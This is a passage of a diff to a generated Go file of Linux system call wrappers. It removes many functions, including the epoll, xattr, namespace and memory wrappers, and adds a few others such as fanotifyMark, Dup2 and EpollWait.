-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,62 +45,8 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,135 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
